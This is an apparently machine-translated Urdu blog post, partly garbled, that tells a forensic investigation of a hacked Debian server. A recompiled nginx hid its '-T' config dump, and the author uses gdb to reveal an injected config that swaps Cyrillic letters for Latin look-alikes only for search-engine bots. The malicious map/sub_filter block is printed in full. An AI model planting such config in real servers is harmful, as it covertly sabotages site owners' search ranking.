جب 'a' 'a' کے برابر نہیں ہے۔ ایک ہیک کے تناظر میں

میرے ایک دوست کے ساتھ ایک انتہائی ناخوشگوار واقعہ پیش آیا۔ لیکن یہ میخائل کے لیے جتنا ناخوشگوار نکلا، میرے لیے اتنا ہی دل لگی۔

مجھے یہ کہنا ضروری ہے کہ میرا دوست کافی ہے۔ UNIXصارف: سسٹم خود انسٹال کرسکتا ہے۔ ایس کیو ایل, پی ایچ پی اور سادہ ترتیبات بنائیں نگنکس.
اور اس کے پاس ایک درجن یا ڈیڑھ ویب سائٹس ہیں جو تعمیراتی آلات کے لیے وقف ہیں۔

chainsaws کے لیے وقف کردہ ان سائٹس میں سے ایک مضبوطی سے سرچ انجنوں میں سرفہرست ہے۔ یہ سائٹ ایک غیر تجارتی جائزہ لینے والا ہے، لیکن کسی کو اس پر حملہ کرنے کی عادت پڑ گئی۔ وہ DDoS، پھر وحشیانہ طاقت، پھر وہ فحش تبصرے لکھیں گے اور میزبانی اور RKN کو گالیاں بھیجیں گے۔
اچانک، سب کچھ پرسکون ہو گیا اور یہ سکون اچھا نہیں نکلا، اور سائٹ نے آہستہ آہستہ تلاش کے نتائج کی سب سے اوپر لائنوں کو چھوڑنا شروع کر دیا.

جب 'a' 'a' کے برابر نہیں ہے۔ ایک ہیک کے تناظر میں

یہ ایک کہاوت تھی، پھر خود ایڈمن کی کہانی۔

سونے کا وقت قریب تھا جب فون کی گھنٹی بجی: "سان، کیا آپ میرے سرور کو نہیں دیکھیں گے؟ مجھے ایسا لگتا ہے کہ مجھے ہیک کیا گیا تھا، میں اسے ثابت نہیں کر سکتا، لیکن اس احساس نے تیسرے ہفتے تک میرا پیچھا نہیں چھوڑا۔ ہو سکتا ہے کہ میرے لیے صرف وقت آ گیا ہے کہ میں پیراونیا کا علاج کرواؤں؟"

اس کے بعد آدھے گھنٹے کی گفتگو ہوئی جس کا خلاصہ اس طرح کیا جا سکتا ہے:

  • ہیکنگ کے لیے مٹی کافی زرخیز تھی۔
  • حملہ آور سپر یوزر کے حقوق حاصل کر سکتا ہے۔
  • حملہ (اگر یہ ہوا تھا) خاص طور پر اس جگہ کو نشانہ بنایا گیا تھا۔
  • مسئلہ کے علاقوں کو درست کر دیا گیا ہے اور آپ کو صرف یہ سمجھنے کی ضرورت ہے کہ آیا وہاں کوئی دخول تھا؛
  • ہیک سائٹ کوڈ اور ڈیٹا بیس کو متاثر نہیں کر سکتا۔

آخری نکتہ کے حوالے سے۔

جب 'a' 'a' کے برابر نہیں ہے۔ ایک ہیک کے تناظر میں

صرف سفید فرنٹ اینڈ آئی پی دنیا کو دیکھتا ہے۔ بیک اینڈ اور فرنٹ اینڈ کے درمیان سوائے http(s) کے کوئی تبادلہ نہیں ہے، صارفین/پاس ورڈز مختلف ہیں، کوئی چابیاں تبدیل نہیں کی گئیں۔ سرمئی پتوں پر، 80/443 کے علاوہ تمام بندرگاہیں بند ہیں۔ وائٹ بیک اینڈ آئی پی صرف دو صارفین کو معلوم ہیں، جن پر میخائل مکمل طور پر بھروسہ کرتا ہے۔

فرنٹ اینڈ پر انسٹال ہے۔ ڈیبیان 9 اور جب کال کی جاتی ہے، نظام ایک بیرونی فائر وال کے ذریعے دنیا سے الگ ہو جاتا ہے اور رک جاتا ہے۔

"ٹھیک ہے، مجھے رسائی دو،" میں نے ایک گھنٹے کے لیے نیند ختم کرنے کا فیصلہ کیا۔ ’’میں اپنی آنکھوں سے دیکھوں گا۔‘‘

یہاں اور آگے:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ممکنہ ہیک کی تلاش ہے۔

میں سرور شروع کرتا ہوں، پہلے میں ریسکیو موڈ. میں ڈسکوں کو ماؤنٹ کرتا ہوں اور ان کے ذریعے پلٹتا ہوں۔ تصنیفنوشتہ جات تاریخ, سسٹم لاگز وغیرہ، اگر ممکن ہو تو، میں فائل بنانے کی تاریخوں کو چیک کرتا ہوں، حالانکہ میں سمجھتا ہوں کہ ایک عام کریکر اپنے پیچھے "سوپ اپ" ہو گیا ہو گا، اور میشا اپنے آپ کو ڈھونڈنے کے دوران پہلے ہی "کچھ نیچے" ہو چکی تھی۔ .

میں نارمل موڈ میں شروع کرتا ہوں، ابھی تک یہ نہیں سمجھ رہا ہوں کہ کیا تلاش کرنا ہے، میں کنفیگرز کا مطالعہ کرتا ہوں۔ سب سے پہلے، میں اس میں دلچسپی رکھتا ہوں۔ نگنکس چونکہ، عام طور پر، اس کے علاوہ فرنٹ اینڈ پر اور کچھ نہیں ہے۔
تشکیلات چھوٹی ہیں، ایک درجن فائلوں میں اچھی طرح سے تشکیل دی گئی ہیں، میں صرف ان کو دیکھتا ہوں۔ کیٹ'اوہ ایک ایک کر کے سب کچھ صاف نظر آتا ہے، لیکن آپ کو کبھی نہیں معلوم کہ میں نے کچھ کھو دیا ہے شاملمجھے ایک مکمل فہرست بنانے دو:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

مجھے سمجھ نہیں آیا: "فہرست کہاں ہے؟"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

فہرست کے سوال میں دوسرا سوال شامل کیا گیا ہے: "کیوں nginx کا ایسا قدیم ورژن؟"

اس کے علاوہ، سسٹم کا خیال ہے کہ تازہ ترین ورژن انسٹال ہے:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

میں بلا رہا ہوں:
- میشا، تم نے دوبارہ کیوں جمع کیا؟ نگنکس?
- اٹھو، میں یہ بھی نہیں جانتا کہ یہ کیسے کرنا ہے!
- ٹھیک ہے، سو جاؤ...

نگنکس یہ واضح طور پر دوبارہ بنایا گیا ہے اور "-T" کا استعمال کرتے ہوئے لسٹنگ کا آؤٹ پٹ ایک وجہ سے پوشیدہ ہے۔ ہیکنگ کے بارے میں اب کوئی شک نہیں ہے اور آپ اسے آسانی سے قبول کر سکتے ہیں اور (چونکہ میشا نے بہرحال سرور کو ایک نیا سے تبدیل کیا ہے) مسئلہ حل ہونے پر غور کریں۔

اور بے شک، جب سے کسی کو حقوق ملے جڑ'آہ، پھر یہ صرف کرنا سمجھ میں آتا ہے۔ نظام دوبارہ انسٹال کریں، اور وہاں کیا غلط تھا اس کو تلاش کرنا بیکار تھا ، لیکن اس بار تجسس نے نیند کو شکست دی۔ ہم کیسے جان سکتے ہیں کہ وہ ہم سے کیا چھپانا چاہتے تھے؟

آئیے ٹریس کرنے کی کوشش کریں:

$ strace nginx -T

ہم اسے دیکھتے ہیں، واضح طور پر ٹریس اے لا میں کافی لائنیں نہیں ہیں۔

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

صرف تفریح ​​کے لیے، آئیے نتائج کا موازنہ کریں۔

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

میرے خیال میں کوڈ کا حصہ ہے۔ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

فارم میں لایا گیا تھا:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

یا

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

اس لیے "-T" کی فہرست ظاہر نہیں کی گئی ہے۔

لیکن ہم اپنی تشکیل کو کیسے دیکھ سکتے ہیں؟

اگر میرا خیال درست ہے اور مسئلہ صرف متغیر میں ہے۔ ngx_dump_config آئیے اسے استعمال کرکے انسٹال کرنے کی کوشش کرتے ہیں۔ جی ڈی بی، خوش قسمتی سے ایک چابی ہے۔ --with-cc-opt -g پیش کریں اور امید ہے کہ اصلاح -O2۔ یہ ہمیں تکلیف نہیں دے گا. ایک ہی وقت میں، چونکہ میں نہیں جانتا کہ کیسے ngx_dump_config میں عملدرآمد کیا جا سکتا ہے کیس 'T':، ہم اس بلاک کو کال نہیں کریں گے بلکہ اسے استعمال کرکے انسٹال کریں گے۔ کیس 'ٹی':

آپ '-t' کے ساتھ ساتھ '-T' کیوں استعمال کر سکتے ہیںبلاک پروسیسنگ اگر(ngx_dump_config) اندر ہوتا ہے اگر(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

بلاشبہ، اگر کوڈ کو اس حصے میں تبدیل کیا گیا ہے اور اس میں نہیں۔ کیس 'T':، پھر میرا طریقہ کام نہیں کرے گا۔

nginx.conf کی جانچ کریں۔پہلے ہی تجرباتی طور پر مسئلہ کو حل کرنے کے بعد، یہ قائم کیا گیا تھا کہ میلویئر کے کام کرنے کے لیے کم از کم ترتیب کی ضرورت ہے۔ نگنکس قسم:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

ہم اسے مضمون میں اختصار کے لیے استعمال کریں گے۔

ڈیبگر لانچ کریں۔

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

قدم بہ قدم:

  • فنکشن میں بریک پوائنٹ سیٹ کریں۔ مرکزی()
  • پروگرام شروع کریں
  • متغیر کی قدر کو تبدیل کریں جو config کے آؤٹ پٹ کا تعین کرتا ہے۔ ngx_dump_config=1
  • پروگرام کو جاری/ختم کریں۔

جیسا کہ ہم دیکھ سکتے ہیں، اصلی تشکیل ہماری ترتیب سے مختلف ہے، ہم اس سے ایک طفیلی ٹکڑا منتخب کرتے ہیں:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

آئیے ترتیب میں یہاں کیا ہو رہا ہے پر ایک نظر ڈالیں۔

یہ تعین صارف ایجنٹکی yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

سروس کے صفحات کو خارج کر دیا گیا ہے۔ ورڈپریس:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

اور ان کے لیے جو مندرجہ بالا دونوں شرائط کے تحت آتے ہیں۔

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

متن میں HTML- صفحات بدل جاتے ہیں۔ 'او' پر 'او' и 'اے' پر 'ایک':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

یہ ٹھیک ہے، صرف لطیفیت یہ ہے۔ 'a' != 'a' اس کے ساتھ ساتھ 'o' != 'o':

جب 'a' 'a' کے برابر نہیں ہے۔ ایک ہیک کے تناظر میں

اس طرح، سرچ انجن بوٹس کو عام 100% سیریلک ٹیکسٹ کی بجائے، لاطینی زبان میں تبدیل شدہ ردی کی ٹوکری موصول ہوتی ہے۔ 'ایک' и 'او'. میں اس بات پر بحث کرنے کی ہمت نہیں کرتا کہ یہ SEO کو کس طرح متاثر کرتا ہے، لیکن اس بات کا امکان نہیں ہے کہ اس طرح کے خطوط کا تلاش کے نتائج میں پوزیشنوں پر مثبت اثر پڑے۔

میں کیا کہہ سکتا ہوں، تخیل کے ساتھ لوگ.

حوالہ جات

GDB کے ساتھ ڈیبگ کرنا
جی ڈی بی (1) - لینکس مین پیج
strace(1) — لینکس مین پیج
Nginx - ماڈیول ngx_http_sub_module
آری، chainsaws اور برقی آری کے بارے میں

ماخذ: www.habr.com

نیا تبصرہ شامل کریں